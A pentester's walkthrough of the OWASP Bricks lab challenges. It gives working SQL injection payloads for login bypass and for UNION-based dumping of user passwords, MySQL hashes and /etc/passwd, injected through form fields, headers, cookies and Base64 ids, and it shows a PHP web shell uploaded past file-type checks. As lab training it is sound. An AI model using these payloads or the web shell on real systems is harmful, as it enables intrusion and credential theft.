Owasp Broken Web Apps - Owasp Bricks Challenge walkthrough

These are my solutions to the OWASP Bricks challenge. They can be considered easy and unrealistic Web challenges but they are a great place to start to practice manually finding and exploiting SQL injection and unrestricted file upload vulnerabilities.

owasp-bricks.png

I once had to train junior pentester colleagues, and gave them similar Web challenges. They skimmed through them, read the solutions without trying, seemed uninterested by the tedious task of solving these exercises one by one, and said that they already knew how to find such vulnerabilities. But when we were on real pentest engagements, they would miss many basic vulnerabilities and, even if given the vulnerable endpoint, were unable to exploit them manually.

So I really advise you to take the time to practice even the simplest challenges, take notes, improve your testing checklist/methodology, and profit from this controlled environment to explore new techniques: How to exploit SQL injections to read files on the remote system, how to go from a simple basic Webshell to a TTY shell or a Meterpreter shell, how to get the same kind of information sqlmap returns but manually…
Taking your time and notes is the best way to build solid knowledge and considerably improve your skills over time, challenge after challenge.

Table of contents

Installation

You can either install the OWASP Bricks Web application on your existing Linux OS or install the OWASP Broken Web Apps virtual machine. I recommend the latter because this VM contains many known Web application challenges, for which I will also publish walkthrough in the next weeks.

Login pages

Login #1

Challenge URL: http://192.168.4.3/owaspbricks/login-1/

Detection:
Enable Burp Proxy Intercept, then enter anything in the form & click on submit:

login-pages-1-1.png

This will allow you to modify the POST request on-the-fly and inject any payload through POST parameters, bypassing any client-side protections:

login-pages-1-2.png

For example, injection a single quote results in a MySQL error & the SQL query like shown below:

http://192.168.4.3/owaspbricks/login-1/index.php
...snip...

username=test1'&passwd=test2'&submit=Submit

login-pages-1-3.png

Proof of Concept 1

Since SQL query are displayed by the application, it is very easy to deduce the payload necessary to exploit this SQL injection:

http://192.168.4.3/owaspbricks/login-1/index.php
...snip...

username=test&passwd=test' or 1=1-- -&submit=Submit

Proof of Concept 2
The username parameter is also vulnerable:

http://192.168.4.3/owaspbricks/login-1/index.php
...snip...

username=test' or 1=1-- -&passwd=test&submit=Submit

Vulnerable parameter(s): user & passwd

Payload(s)

  • test' or 1=1-- -
  • test' or 1=1#

Login #2

Challenge URL: http://192.168.4.3/owaspbricks/login-2/

Exactly the same detection & exploitation method as for Login #1.

The difference is that this page implements client-side encoding, so entering the payload directly in the form fields (without intercepting & modifying the request with Burp) works for the first challenge but not this one.
But I generally prefer using Burp to test server-side protections and bypass any JavaScript encoding or restrictions.

Login #3

Challenge URL: http://192.168.4.3/owaspbricks/login-3/

Proof of Concept: POST request

http://192.168.4.3/owaspbricks/login-3/index.php

username=test&passwd=test') or 1=1-- -&submit=Submit

Vulnerable parameter(s): user & passwd

Payload(s)

  • test') or 1=1-- -
  • test') or 1=1#

Login #4

Challenge URL: http://192.168.4.3/owaspbricks/login-4/

Proof of Concept: POST request

http://192.168.4.3/owaspbricks/login-4/index.php

username=test&passwd=test") or 1=1-- -&submit=Submit

Vulnerable parameter(s): user & passwd

Payload(s)

  • test") or 1=1-- -
  • test") or 1=1#

Login #5

Challenge URL: http://192.168.4.3/owaspbricks/login-5/

Proof of Concept: POST request

http://192.168.4.3/owaspbricks/login-5/index.php

username=test' or 1=1 -- -&passwd=test&submit=Submit

Vulnerable parameter(s): user

Payload(s)

  • test' or 1=1-- -

Login #6

Challenge URL: http://192.168.4.3/owaspbricks/login-6/

Nothing to test: If I enter anything I’m redirected to a “successfully logged in” page.

File upload pages

Upload 1

Challenge URL: http://192.168.4.3/owaspbricks/upload-1/

Proof of Concept
Upload this PHP file:

$ cat phpversion1.php
<?php echo phpversion() ?>

A link to the uploaded file’s location appears & PHP is executed: http://192.168.4.3/owaspbricks/upload-1/uploads/phpversion1.php

upload-1-1.png

Exploitation

Upload a Web shell instead of the previous harmless PoC file:

$ cat php_basic_webshell.php
<?php system($_GET["cmd"]); ?>

upload-1-2.png

Upload 2

Challenge URL: http://192.168.4.3/owaspbricks/upload-2/

Proof of Concept
Upload this PHP file:

$ cat phpversion2.php
<?php echo phpversion() ?>

Intercept the request with Burp & change the MIME type to image/png.
A link to the uploaded file’s location appears & PHP is executed: http://192.168.4.3/owaspbricks/upload-2/uploads/phpversion2.php

Remark: It is best to use a different filename for each challenge (even if they have the exact same content) to avoid confusion.
The reason is that if the upload fails and the files uploaded had the same name, we might believe that the upload was successful since a PHP file with the same name would be accessible (from the first challenge).

Upload 3

Challenge URL: http://192.168.4.3/owaspbricks/upload-3/

Proof of Concept
Same as Upload 2.

Content pages

Content #1

Challenge URL: http://192.168.4.3/owaspbricks/content-1/index.php?id=0

Detection
The payload id=0' causes a MySQL error:

content-pages-1-1.png

id=0 and 1=2 causes a different error:

content-pages-1-2.png

id=0 and 1=1 returns the user’s information:

content-pages-1-3.png

This confirms that the SQL code injected is interpreted by the server.

Get the number of columns in the current database

Method 1
id=0 order by 1, id=0 order by 2… until id=0 order by 8 give no error.

But id=0 order by 9 returns a MySQL error:

content-pages-1-4.png

So the number of columns is 8!

Method 2
id=0 union select 1, id=0 union select 1,2… until id=0 union select 1,2,3,4,5,6,7 all cause a MySQL error which says that the 2nd select statement doesn’t have the right number of columns:

content-pages-1-5.png

id=0 union select 1,2,3,4,5,6,7,8 is the only query that returns the user’s details, meaning that the right number of columns is 8:

content-pages-1-6.png

Exploitation

  • Get the DB version, current user & current database name (at the same time): id=0 and 1=2 union select version(),user(),database(),4,5,6,7,8

content-pages-1-7.png

  • Get the database hostname & the location of the db files: id=0 and 1=2 union select @@hostname,@@datadir,3,4,5,6,7,8

content-pages-1-19.png

  • List databases: id=0 and 1=2 union select group_concat(schema_name),2,3,4,5,6,7,8 from information_schema.schemata

content-pages-1-13.png

  • List tables of the current database: id=0 and 1=2 union select group_concat(table_name),2,3,4,5,6,7,8 from information_schema.tables where table_schema=database()
  • List tables of a given database: id=0 and 1=2 union select group_concat(table_name),2,3,4,5,6,7,8 from information_schema.tables where table_schema=bricks

content-pages-1-14.png

There is only one table: users.

  • List column names of a given database & table: id=0 and 1=2 union select group_concat(column_name),2,3,4,5,6,7,8 from information_schema.columns where table_schema='bricks' and table_name='users'

content-pages-1-15.png

  • Get names & passwords from the ‘users’ table: id=0 and 1=2 union select group_concat(name),group_concat(password),3,4,5,6,7,8 from users

content-pages-1-10.png

  • List MySQL users: id=0 and 1=2 union select group_concat(user),2,3,4,5,6,7,8 from mysql.user

content-pages-1-16.png

  • Get MySQL users & their password hashes: id=0 and 1=2 union select group_concat(host), group_concat(user),group_concat(Password),3,4,5,6,7,8 from mysql.user

content-pages-1-17.png

  • Get the current MySQL user and password hash: id=0 and 1=2 union select User(),password,3,4,5,6,7,8 from mysql.user

content-pages-1-18.png

  • Read a file (/etc/passwd): id=0 and 1=2 union select load_file(0x2f6574632f706173737764),2,3,4,5,6,7,8 from mysql.user Where 0x2f6574632f706173737764 is /etc/passwd encoded in Hexadecimal with Hackbar:

content-pages-1-11.png

content-pages-1-12.png

Content #2

Challenge URL: http://192.168.4.3/owaspbricks/content-2/

Detection
The payload user=harry' and 1=2-- - causes an error:

content-pages-2-1.png

And user=harry' and 1=1-- - returns the user’s information:

content-pages-2-2.png

This means that SQL code injected is interpreted.

Exploitation

  • Get the DB version: user=harry' and 1=2 union select @@version,2,3,4,5,6,7,8-- -

content-pages-2-3.png

The reason we use and 1=2 is to make the first select statement false, so that the output only includes results of the second select.

  • Get all users’ name & password:user=harry' and 1=2 union select group_concat(name),group_concat(password),3,4,5,6,7,8 from users-- -

content-pages-2-4.png

Content #3

Challenge URL: http://192.168.4.3/owaspbricks/content-3/

This is exactly the same vulnerability, it’s just the entry point that is vulnerable that changes: a POST parameter instead of a GET parameter.

Detection

First, let’s start the Burp Proxy Intercept and click on Submit:

content-pages-3-00.png

Modifying the username POST parameter to inject a single quote causes a MySQL error: username=tom'&submit=Submit

content-pages-3-0.png

content-pages-3-1.png

username=tom' and 1=1-- -&submit=Submit returns the user’s information:

content-pages-3-2.png

username=tom' and 1=0-- -&submit=Submit causes an error:

content-pages-3-3.png

Exploitation

  • Get the DB version: username=tom' and 1=0 union select @@version,2,3,4,5,6,7,8-- -&submit=Submit (POST data)

content-pages-3-4.png

content-pages-3-5.png

Content #4

Challenge URL: http://192.168.4.3/owaspbricks/content-4/

Detection
A simple GET request to this page shows the resulting SQL query. It returns all users in the database that have the same User-Agent as the one sent with the GET request:

content-pages-4-1.png

Let’s change the User-Agent on-the-fly to confirm that this endpoint is vulnerable to SQL injection via the User-Agent header.

Injecting a single quote ' causes a MySQL error:

content-pages-4-2.png content-pages-4-3.png

' or 1=1-- - returns the user’s information:

content-pages-4-6.png content-pages-4-7.png

' or 1=0-- - causes an error:

content-pages-4-8.png content-pages-4-9.png

These results mean that the SQL code injected is really interpreted by the remote server.

Exploitation
Open http://192.168.4.3/owaspbricks/content-4/, intercept the GET request with Burp, and change the User-Agent to: User-Agent: ' and 1=0 union select @@version,2,3,4,5,6,7,8-- -

content-pages-4-4.png

content-pages-4-5.png

Content #5

Challenge URL: http://192.168.4.3/owaspbricks/content-5/

Detection
Log in using one of the credentials found previously (tom:tom, admin:admin or ron:ron):

content-pages-5-0.png

A new cookie is added to all requests: Cookie: User=tom; PHPSESSID=9kidgv03mpuf209dqmk3r4shv6

Open http://192.168.4.3/owaspbricks/content-5/index.php, intercept the request with Burp & inject a single quote:

content-pages-5-1.png

This causes a MySQL error, and the MySQL query displayed shows that the single quote injected was not encoded: content-pages-5-2.png

tom' and 1=0-- - returns nothing:

content-pages-5-4.png content-pages-5-5.png

And tom' and 1=1-- - returns the user’s details:

content-pages-5-6.png content-pages-5-7.png

This means that the SQL code injected is interpreted.

Exploitation

Replay the POST request & inject your payload in the cookie User: Cookie: User=tom' and 1=0 union select @@version,2,3,4,5,6,7,8-- -; PHPSESSID=9kidgv03mpuf209dqmk3r4shv6

content-pages-5-3.png

Content #6

Challenge URL: http://192.168.4.3/owaspbricks/content-6/

Detection
http://192.168.4.3/owaspbricks/content-6/ redirects to http://192.168.4.3/owaspbricks/content-6/index.php?id=Mw==.

content-pages-6-1.png

Mw== is the Base64 encoded value of 3, the User ID requested.

So let’s inject a Base64-encoded single quote, to confirm that single quotes are not encoded:

content-pages-6-2.png

id=MyBhbmQgMT0xLS0gLQ== (equivalent of id=3 and 1=1-- -) returns the user’s details:

content-pages-6-4.png

id=MyBhbmQgMT0wLS0gLQ== (equivalent of id=3 and 1=0-- -) returns an error:

content-pages-6-5.png

This confirms that SQL code injected is interpreted.

Exploitation

Use the same payload as before but Base64 encoded this time: id=MyBhbmQgMT0wIHVuaW9uIHNlbGVjdCBAQHZlcnNpb24sMiwzLDQsNSw2LDcsOC0tIC0=

This is the Base64-encoded value of: 3 and 1=0 union select @@version,2,3,4,5,6,7,8-- -.

content-pages-6-3.png


If you have any questions or suggestions, please leave a comment at the bottom of this page, a tweet or a message via our contact page. See you next time!


Comments